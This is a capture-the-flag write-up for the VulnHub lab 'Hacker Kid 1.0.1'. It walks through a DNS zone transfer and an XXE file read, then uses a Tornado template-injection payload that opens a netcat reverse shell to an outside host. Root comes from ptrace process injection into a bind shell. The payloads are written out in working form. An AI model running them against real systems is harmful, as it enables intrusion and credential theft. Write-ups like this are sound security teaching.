This is HACKER KID: 1.0.1 from VulnHub.

I started this quite a while ago but didn’t finish it; now I have and this is how. I totally cheated doing this too by the way.

Ports

We’ve got DNS, HTTP on 80 and another HTTP port on 9999.

Shortcut

The quick path to a shell here is like this:

GET /?name={%25+import+os+%25}{{+os.popen("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f | /bin/sh+-i+2>%261 | nc+192.168.1.210+1234+>/tmp/f")+}} HTTP/1.1

See?

┌──(root💀kali)-[/opt/vulnhub/hackerkid]
└─# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.1.210] from (UNKNOWN) [192.168.1.88] 48032
/bin/sh: 0: cant access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
saket@ubuntu:~$

What is this? It’s an SSTI on Tornado. How did we get here? I’ll explain what I think the creator intended….

HTTP

If we go to the main webpage (port 80), we get a message saying the server was hacked, and a note:

More you will DIG me,more you will find me on your servers..DIG me more…DIG me more

If we check the page source we’ll see this:

TO DO: Use a GET parameter page_no to view pages

If we go to http://192.168.1.88/?page_no=21 we will get this:

Okay so you want me to speak something ?
I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!
Out of my many homes…one such home..one such home for me : hackers.blackhat.local

If we add hackers.blackhat.local to /etc/hosts, we’ll be disappointed because it’s a not a thing. I’m not sure if that’s deliberate or not (I think so, hence the line about some subdomains); we want to use DIG per the hint - did you get it?:

dig axfr @192.168.1.88 blackhat.local

; <<>> DiG 9.16.15-Debian <<>> axfr @192.168.1.88 blackhat.local
; (1 server found)
;; global options: +cmd
blackhat.local.         10800   IN      SOA     blackhat.local. hackerkid.blackhat.local. 1 10800 3600 604800 3600
blackhat.local.         10800   IN      NS      ns1.blackhat.local.
blackhat.local.         10800   IN      MX      10 mail.blackhat.local.
blackhat.local.         10800   IN      A       192.168.14.143
ftp.blackhat.local.     10800   IN      CNAME   blackhat.local.
hacker.blackhat.local.  10800   IN      CNAME   hacker.blackhat.local.blackhat.local.
mail.blackhat.local.    10800   IN      A       192.168.14.143
ns1.blackhat.local.     10800   IN      A       192.168.14.143
ns2.blackhat.local.     10800   IN      A       192.168.14.143
www.blackhat.local.     10800   IN      CNAME   blackhat.local.
blackhat.local.         10800   IN      SOA     blackhat.local. hackerkid.blackhat.local. 1 10800 3600 604800 3600
;; Query time: 4 msec
;; SERVER: 192.168.1.88#53(192.168.1.88)
;; WHEN: Fri Aug 20 06:59:46 EDT 2021
;; XFR size: 11 records (messages 1, bytes 353)

So we’ve got hackerkid.blackhat.local. Probably should check that out; add it to /etc/hosts.

hackerkid.blackhat.local

If we head over to this page, we find a form to register an account. We can enter some data (note the form doesn’t actually do any registration) and if we capture the request then we can see there is XML being POSTed to process.php. This is vulnerable to XXE like so:

POST /process.php HTTP/1.1
Host: hackerkid.blackhat.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 282
Origin: http://hackerkid.blackhat.local
Connection: close
Referer: http://hackerkid.blackhat.local/

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root><name>asdas</name><tel>1234</tel><email>&xxe;</email><password>password</password></root>

How does this help us? Actually, it doesn’t much. I think there was supposed to be a file read hint for the next part, but I couldn’t find anything useful with this.

9999

We had another port. What does that look like?

If we go straight to the page (i.e. http://192.168.1.88:9999/) we get redirected to a login form (http://192.168.1.88:9999/login?next=%2F). If we look at our headers, we find this:

Server: TornadoServer/6.1

And if we put a nonsense URL we can get an error that might be useful, e.g. http://192.168.1.88:9999/ajksdfhajks gives:

Traceback (most recent call last):
  File "/usr/local/lib/python3.8/dist-packages/tornado/web.py", line 1681, in _execute
    result = self.prepare()
  File "/usr/local/lib/python3.8/dist-packages/tornado/web.py", line 2430, in prepare
    raise HTTPError(self._status_code)
tornado.web.HTTPError: HTTP 404: Not Found

You can read that file (/usr/local/lib/python3.8/dist-packages/tornado/web.py) with the XXE if you want, but you have to base64 encode it:

<!DOCTYPE root [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/usr/local/lib/python3.8/dist-packages/tornado/web.py'>]>

Now what?

If we fuzz blackhat.local we can find a few things:

┌──(root💀kali)-[/opt/vulnhub/hackerkid]
└─# feroxbuster -u http://blackhat.local -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 200 -C 403 -x html

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://blackhat.local
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/big.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💢  Status Code Filters   │ [403]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [html]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        9l       28w      321c http://blackhat.local/javascript
301        9l       28w      320c http://blackhat.local/templates
301        9l       28w      328c http://blackhat.local/javascript/jquery
200       10l       14w      141c http://blackhat.local/templates/index.html
200       17l       32w      332c http://blackhat.local/templates/login.html
200    10365l    41507w   271809c http://blackhat.local/javascript/jquery/jquery
[####################] - 28s   204750/204750  0s      found:6       errors:590    
[####################] - 14s    40950/40950   2913/s  http://blackhat.local
[####################] - 18s    40950/40950   2251/s  http://blackhat.local/cgi-bin/
[####################] - 16s    40950/40950   2454/s  http://blackhat.local/javascript
[####################] - 20s    40950/40950   1991/s  http://blackhat.local/templates
[####################] - 17s    40950/40950   2333/s  http://blackhat.local/javascript/jquery

And if we go to say http://blackhat.local/templates/index.html we see:

Welcome, {{ current_user }}

So this gives us a clue about the template injection. How exactly we’re supposed to know that it’s on the name parameter on port 9999 I’m not entirely sure; I clearly missed the clue (if there was one). Anyway….what I will say is that you can read /opt/server.py with the XXE (base64 encoded) and get some credentials with which you can login at http://192.168.1.88:9999/, and if you do that you get this message:

Tell me your name buddy
How can i get to know who are you ??

Which is obviously a pretty good clue about the /name parameter and you can figure out the SSTI from there (I did). But how did you know to read /opt/server.py? Well that’s mystery, maybe you were supposed to guess it.

Root

Okay so go back to the shortcut and get yourself a shell. Root is via the exact method described in this blog post; you can figure out that python2.7 has CAP_SYS_PTRACE from linpeas. The inject.py script from the page works fine, the only difference is that nginx is not running on our box.

I tried a few different processes and none of them wanted to play the game so I said yolo and did this:

saket@ubuntu:~$ for i in {100..400}; do python2.7 inject.py $i; done

And guess what?

saket@ubuntu:~$ netstat -ntlp
netstat -ntlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5600            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:56353           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:38563           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:9999            0.0.0.0:*               LISTEN      653/python3         
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 192.168.1.88:53         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:953                 :::*                    LISTEN      -                   
tcp6       0      0 :::9999                 :::*                    LISTEN      653/python3         
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:53                  :::*                    LISTEN      -                   
tcp6       0      0 ::1:631                 :::*                    LISTEN      -                   
saket@ubuntu:~$ nc 0.0.0.0 5600
nc 0.0.0.0 5600
python3 -c 'import pty;pty.spawn("/bin/bash");'
python3 -c 'import pty;pty.spawn("/bin/bash");'
root@ubuntu:/# id;hostname;date
id;hostname;date
id;hostname;date
uid=0(root) gid=0(root) groups=0(root)
ubuntu
Fri Aug 20 03:44:07 PDT 2021
root@ubuntu:/#

And that’s the end of that.